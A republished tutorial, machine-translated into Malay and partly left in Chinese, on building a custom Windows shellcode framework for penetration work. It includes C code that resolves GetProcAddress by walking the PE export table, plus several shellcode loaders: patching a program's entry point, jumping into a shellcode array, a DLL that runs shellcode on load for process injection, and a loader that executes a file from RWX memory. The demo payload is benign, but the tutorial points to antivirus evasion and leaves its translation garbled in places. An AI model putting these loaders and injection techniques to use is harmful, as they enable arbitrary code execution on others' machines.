Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Apakah maksud shellcode?

Apakah maksud shellcode?

王林
王林ke hadapan
2023-05-28 15:01:593100semak imbas

1. Pengenalan kepada titik prapengetahuan pengaturcaraan shellcode

Apakah shellcode?

Intipati shellcode sebenarnya adalah sekeping kod pemasangan yang boleh dijalankan secara bebas Ia tidak mempunyai sebarang struktur fail, ia tidak bergantung pada mana-mana persekitaran kompilasi dan tidak boleh diklik dua kali untuk dijalankan seperti exe. . Saya tidak akan menerangkan butiran tentang kod kulit khusus di sini. Anda boleh mencari sendiri maklumat yang berkaitan di Baidu.

Mengapa menulis shellcode anda sendiri?

Oleh kerana saya telah melakukan banyak penembusan dalam tempoh enam bulan yang lalu, shellcode yang digunakan juga dijana oleh CS atau MSF Namun, shellcode yang dijana secara automatik oleh alat itu sudah mati, dan tidak ada cara untuk mengembangkan fungsi itu sendiri amat penting untuk menguasai teknologi penulisan shellcode, dan perkara yang sama berlaku untuk shellcode pada limpahan penimbal dan peranan penting dan penting.

Masalah yang dihadapi semasa menulis shellcode

Jika anda ingin menulis shellcode sendiri, anda mesti mengetahui titik pengetahuan yang paling penting dalam menulis shellcode Di bawah saya akan meletakkan apa yang perlu diselesaikan dalam bentuk soalan. Mari kita senaraikan beberapa perkara:

1. Shellcode juga adalah satu program, ia juga perlu menggunakan pelbagai data (seperti rentetan global, dll.), tetapi kita semua tahu. akses pembolehubah global semuanya adalah alamat tetap (berkod keras, iaitu, berkod keras dan tidak boleh diubah), dan kod shell kami boleh diatur untuk dijalankan di mana-mana dalam mana-mana program tepat dalam kes ini akses kepada data yang diperlukan?

2. Shellcode juga berjalan dalam sistem pengendalian dan mesti memanggil beberapa API sistem. Bagaimanakah kita boleh mendapatkan alamat API ini?

3. Jika API yang kami perlukan tidak diimport ke dalam program yang dijalankan oleh Shellcode dan kami perlu menggunakannya, apakah yang perlu kami lakukan?

Atas sebab ruang, anda boleh menemui jawapan kepada soalan ini dalam tiga artikel "Pengenalan kepada Windows Platform Shellcode Development 1, 2, dan 3" yang diterjemahkan oleh pengarang kanan FB Rabbit_Run Pada asasnya, perkara yang anda perlukan tahu tentang menulis shellcode Semua pengetahuan prasyarat terlibat, jadi anda boleh bertanya soalan untuk mencari jawapan.

2. Pengenalan kepada rangka kerja pengaturcaraan shellcode

Rangka kerja pengaturcaraan Shellcode:

Setelah mengetahui pengetahuan prasyarat ini, jika anda menulis shellcode semata-mata dengan tangan, ia akan tetap menyusahkan dan sukar , hanya Menulis kod js asli jauh lebih mudah dan lebih pantas daripada menggunakan rangka kerja js seperti jquery. Oleh itu, kita perlu mewujudkan rangka kerja pengaturcaraan shellcode yang memudahkan penulisan fungsi tersuai. Terdapat banyak rangka kerja pengaturcaraan kod shell di Internet, seperti yang digunakan TK untuk sumber terbuka, dua yang pernah ditulis oleh Guru OneBugMan, dsb. Saya menulis rangka kerja pengaturcaraan kod shell semasa saya belajar di sekolah, tetapi saya tidak dapat cari lagi, dan saya Dalam tempoh penyusupan ini, saya terlupa banyak pengetahuan saya sebelum ini, jadi saya menulis rangka kerja kod shell dan mempraktikkannya berdasarkan kursus yang diajar oleh OneBugMan (jika anda berminat, anda boleh menyokong kelas terbuka guru , yang sangat baik).

Pengenalan struktur bingkai

Apakah maksud shellcode?

🎜>
Dalam VS2015, kami menggunakan projek kosong win32 untuk ini Buat projek dan pilih konfigurasi relatif/x86 untuk kompilasi. Sebelum menyusun, kita perlu membuat tetapan berikut:

1. Matikan semakan SDL semasa membuat projek

2. Runtime Library- >Multi-threading (/MT) Jika ia dinyahpepijat, tetapkannya kepada MTD

3. (v140_xp), jika tidak, anda boleh memasang komponen serasi xp yang sepadan

4. Properties->C/C++->Code Generation->Lumpuhkan Pemeriksaan Keselamatan GS

5. Tutup senarai yang dijana Properties->Linker->Manifest File->Generate Manifest Select No

Yang berikut memperkenalkan peranan setiap fail:

1.api.h— —>Digunakan oleh shellcode Fungsi penunjuk kepada fungsi sistem dan struktur yang mengandungi penunjuk fungsi ini.

2.header.h——> Pengisytiharan fungsi fail pengepala dan fungsi fungsi tersuai.

3.0.entry.cpp——> Kemasukan rangka kerja, buat fail shellcode yang dijana akhir.

4.a.start.cpp——> Menandakan kedudukan permulaan shellcode, yang digunakan untuk melakukan pra-operasi sebelum menulis shellcode dan permulaan fungsi yang digunakan

5.b. kerja .cpp——>Pelaksanaan shellcode, pelaksanaan fungsi tertentu

6.z.end.cpp——>Tandakan kedudukan akhir shellcode

Sebab mengapa fail dinamakan dengan cara ini adalah kerana ia disusun dahulu dengan nombor dan kemudian dengan huruf Fail dalam projek dinamakan dengan cara ini supaya apabila menyusun dan menjana exe, ia disusun dan dijana dalam. tertib ditunjukkan di bawah, jadi Susunan fungsi dalam segmen kod exe yang dihasilkan juga disusun mengikut susunan fungsi dalam fail di bawah, supaya kita boleh mengira saiz Shellcode dengan mudah (ShellcodeEnd dalam z.end tolak ShellcodeStart dalam a .start. ialah saiz saiz shellcode), dengan itu menulis shellcode ke dalam fail hasil akhir.

Apakah maksud shellcode?                                                                                                                        Apabila mengubah suai nama titik masuk fungsi, anda tidak boleh mengubahnya sendiri dengan nama titik masuknya , beberapa C- fungsi borang tidak boleh digunakan secara langsung dan mesti ditukar kepada borang panggilan dinamik Terdapat juga pengiraan saiz shellcode yang kita tulis.

pp terutamanya melaksanakan prasyarat yang paling penting untuk menulis shellcode. alamat, dan seterusnya mendapatkan alamat LoadLibrary Dengan pra-langkah ini, kami boleh mendapatkan alamat mana-mana API lain, dan kemudian merealisasikan pelbagai fungsi Fungsi shellcode kami

Apakah maksud shellcode?

Rajah 4 Dapatkan Kernel32.dll. alamat asas


Berikut ialah alamat fungsi GetProcadDress []="xxxxx"; Ini akan menulis rentetan ke bahagian rdata dalam program dan mengubahnya menjadi alamat mutlak kesilapan.

FARPROC getProcAddress(HMODULE hModuleBase)
{
    FARPROC pRet = NULL;
    PIMAGE_DOS_HEADER lpDosHeader;
    PIMAGE_NT_HEADERS32 lpNtHeaders;
    PIMAGE_EXPORT_DIRECTORY lpExports;
    PWORD lpwOrd;
    PDWORD lpdwFunName;
    PDWORD lpdwFunAddr;
    DWORD dwLoop;

    lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
    lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
    if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
    {
        return pRet;
    }
    if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
    {
        return pRet;
    }
    lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    if (!lpExports->NumberOfNames)
    {
        return pRet;
    }
    lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
    lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
    lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
    for (dwLoop = 0; dwLoop NumberOfNames - 1; dwLoop++)
    {
        char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
        if (pszFunction[0] == 'G'
            &&pszFunction[1] == 'e'
            &&pszFunction[2] == 't'
            &&pszFunction[3] == 'P'
            &&pszFunction[4] == 'r'
            &&pszFunction[5] == 'o'
            &&pszFunction[6] == 'c'
            &&pszFunction[7] == 'A'
            &&pszFunction[8] == 'd'
            &&pszFunction[9] == 'd'
            &&pszFunction[10] == 'r'
            &&pszFunction[11] == 'e'
            &&pszFunction[12] == 's'
            &&pszFunction[13] == 's')
        {
            pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase);
            break;
        }
    }
    return pRet;
}

Dalam bahagian fungsi permulaan di bawah, kita perlu tahu di mana dll fungsi yang kita gunakan itu. Contohnya, jika kita ingin menggunakan fungsi system() untuk melaksanakan arahan, kita mesti memuatkan msvCRT dahulu .dll melalui rajah berikut, Kemudian cari fungsi sistem melalui fungsi getprocaddress. Jangan lupa bahawa rentetan arahan yang digunakan dalam fungsi sistem (seperti memanggil kalkulator) juga mesti ditulis seperti char szCalc[] = { 'c','a','l','c',0}; .

                                                                           untuk muncul mesej Kotak menggesa helo, dan kemudian membuat dokumen.

Apakah maksud shellcode?

                                                                                                                                                                                    🎜>Selepas kod rangka kerja ditulis, Apabila kami menjalankannya, fail sc.bin akan dijana dalam direktori projek Dalam fail ini, kami menggunakan 010Editor untuk buka sc.bin untuk melihat shellcode yang dijana.

Apakah maksud shellcode?                                                               图7 生成的shellcode

下面介绍几种shellcode运行方式:

1、(使用010Editor直接复制出来shellcode)直接替换某程序的二进制

例如我们想让dbgview.exe运行我们生成的shellcode

第一步:我们使用lordPE查看dbgview.exe程序的入口点。

Apakah maksud shellcode?

然后使用010Editor打开dbgview.exe找到入口点位置,从入口点位置删除掉我们需要替换进去的shellcode大小的字节,然后替换成我们的shellcode,保存运行即可执行我们的shellcode。

2、把shellcode直接写到代码中生成exe程序运行(源码A)、或者生成dll再写注入器或者使用工具注入到某进程中(源码B)

源码A

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89........在这里写入shellcode";
void main()
{
    __asm
    {
        mov eax, offset shellcode
        jmp eax
    }
}</stdio.h></windows.h>

源码B

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include<windows.h>
#include<iostream>
//data段可读写
#pragma comment(linker, "/section:.data,RWE") 
HANDLE My_hThread = NULL;
//void(*ptrceshi)() = NULL;
typedef void(__stdcall *CODE) ();
unsigned char shellcode[] = "x00\x49\xbe\x77\x69\x6e\x.........在这里填入shellcode";
DWORD  WINAPI ceshi(LPVOID pParameter)
{
    PVOID p = NULL;
    if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
    {
    }
        if (!(memcpy(p, shellcode, sizeof(shellcode))))
        {
        }
    CODE code = (CODE)p;
    code();
    return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
    case DLL_THREAD_ATTACH:

    case DLL_THREAD_DETACH:

    case DLL_PROCESS_DETACH:

        break;
    }
    return TRUE;
}</iostream></windows.h>
具体操作可以参考我发的上篇文章《shellcode免杀实战里面的步骤》。

3、自己写加载器

我们如果不想复制出来shellcode运行我们也可以直接运行我们生成的sc.bin,不过得需要自己写一个加载器。

代码如下

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
int main(int argc, char* argv[])
{
    HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Open  File Error!%d\n", GetLastError());
        return -1;
    }
    DWORD dwSize;
    dwSize = GetFileSize(hFile, NULL);

    LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpAddress == NULL)
    {
        printf("VirtualAlloc error:%d\n", GetLastError());
        CloseHandle(hFile);
        return -1;

    }
    DWORD dwRead;
    ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
    __asm
    {
        call lpAddress;

    }
    _flushall();
    system("pause");
    return 0;
}</windows.h></stdlib.h></stdio.h>

写好加载器编译生成exe以后我们只需要把sc.bin文件拖到生成的exe上就可以自动运行我们的shellcode,或者使用命令行 >某某.exe sc.bin

4、使用别人写好的加载器

如果大家不想自己写加载器也可以使用别人写好的工具,我以前在看雪上发现一个小工具也挺好用的,这个小工具可以把shellcode转换成字符串形式也可以将字符串形式的shellcode转换成bin文件形式然后再加载运行shellcode。

原帖子链接工具链接

我们可以使用这个工具执行生成的sc.bin文件,只需将该文件拖入工具中,然后点击转换为字符串形式

Apakah maksud shellcode?

这和我们在010Editor中看到的是一样的,相当于帮我们自动复制出来了。

Apakah maksud shellcode?

因为我们生成的sc.bin文件是可以直接执行的,所以就不需要点击转成Bin文件了,所以我们直接点击执行shellcode,弹出了Messagebox窗口,我们点击确定后,又创建了1.txt文档。

Apakah maksud shellcode?

Apakah maksud shellcode?

至此我们就可以根据框架举一反三,编写我们自己功能的shellcode了。

Atas ialah kandungan terperinci Apakah maksud shellcode?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam